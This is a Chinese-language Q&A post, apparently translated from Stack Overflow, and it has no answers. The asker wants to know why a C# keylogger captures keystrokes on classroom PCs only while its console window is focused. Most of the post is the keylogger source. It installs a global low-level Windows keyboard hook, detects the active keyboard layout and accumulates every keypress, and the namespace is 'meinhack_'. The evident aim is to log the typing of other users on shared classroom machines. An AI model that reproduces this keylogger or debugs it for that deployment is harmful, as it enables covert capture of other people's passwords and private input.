键盘记录器的工作不正确(C#)

时间:2016-02-21 11:22:34

标签: c# keyboard hook

在我的计算机上以及其他一些计算机(笔记本电脑,如果它很重要)上,该程序可以运行,但在我们教室的所有电脑上 - 只有在控制台应用程序窗口处于焦点时它才有效。

当然PC用户没有完整的权限,但实际上不应该干扰低级别的钩子?此外,我专门在笔记本电脑上创建了一个权限有限的用户帐户,一切正常。

在某些论坛上,我被告知这可能是由于程序的位宽。你觉得怎么样?

这是键盘记录类的代码。

P.S。功能GetSymbolENG和GetSymbolRUS只是俄罗斯布局和附加符号的开关案例。

P.S.S 抱歉我的英文。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Threading;
//   dll import + keylogger
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;

namespace meinhack_
{
    class KeyLogger
    {
        const int WH_KEYBOARD_LL = 13;
        const int HC_ACTION = 0;
        private const int WM_KEYDOWN = 0x0100;
        private static IntPtr _hookID = IntPtr.Zero;
        public static string hookedKeys = "";

        public KeyLogger()
        {
            Console.Out.WriteLine("Hook created...");
        }

        private static IntPtr SetHook(KeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        public void SetHook()
        {
            Console.Out.WriteLine("Trying to set hook...");
            _hookID = SetHook(Callback);
            Application.Run();
            Console.Out.WriteLine("Hook right...");
         }

        ~KeyLogger()
        {
            UnhookWindowsHookEx(_hookID);
        }        

        public delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
        KeyboardProc Callback = KeyboardHookCallback;      


        static IntPtr KeyboardHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {            
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                Console.Out.WriteLine("Trying to recognize layout...");
                string text = GetKeyboardLayoutId();
                Console.Out.WriteLine("Layout recognized...");

                int vkCode = Marshal.ReadInt32(lParam);

                Console.Out.WriteLine("Trying to get KeyState of CapsLock and Shift layout...");
                bool capsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0;
                bool numLock = (((ushort)GetKeyState(0x90)) & 0xffff) != 0;
                bool scrollLock = (((ushort)GetKeyState(0x91)) & 0xffff) != 0;
                bool shift = (GetAsyncKeyState(Keys.LShiftKey) != 0 || GetAsyncKeyState(Keys.RShiftKey) != 0);
                Console.Out.WriteLine("KeyState of CapsLock and Shift got...");

                Console.Out.WriteLine("Trying to write key...");
                if (text == "RUS") hookedKeys += GetSymbolRUS((Keys)vkCode, shift, capsLock).ToString();
                else hookedKeys += GetSymbolENG((Keys)vkCode, shift, capsLock).ToString();
                Console.Out.WriteLine("Key written...");
            }            
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }           

        public string GetHookedKeys()
        {
            return hookedKeys;
        }

        public void ResetHookedKeys()
        {
            hookedKeys = "";
        }

    #region dllimport

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
    public static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hInstance, int threadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk); 

    [DllImport("kernel32.dll")]
    private static extern IntPtr LoadLibrary(string dllToLoad);

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    private static extern IntPtr GetKeyboardLayout(int WindowsThreadProcessID);

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    private static extern int GetWindowThreadProcessId(IntPtr handleWindow, out int lpdwProcessID);

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
    private static extern short GetKeyState(int keyCode);

    [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
    private static extern short GetAsyncKeyState(Keys key);

    #endregion

    #region recognizeLayout
    private static InputLanguageCollection _InstalledInputLanguages;
    private static int _ProcessId;
    private static string _CurrentInputLanguage;

    private static string GetKeyboardLayoutId()
    {
        _InstalledInputLanguages = InputLanguage.InstalledInputLanguages;

        IntPtr hWnd = GetForegroundWindow();        
        int WinThreadProcId = GetWindowThreadProcessId(hWnd, out _ProcessId);

        IntPtr KeybLayout = GetKeyboardLayout(WinThreadProcId);
        for (int i = 0; i < _InstalledInputLanguages.Count; i++)
        {
            if (KeybLayout == _InstalledInputLanguages[i].Handle)
            {
               _CurrentInputLanguage = _InstalledInputLanguages[i].Culture.ThreeLetterWindowsLanguageName.ToString();
            }
        }
        return _CurrentInputLanguage;
    }        
    #endregion

    }
}

0 个答案:

没有答案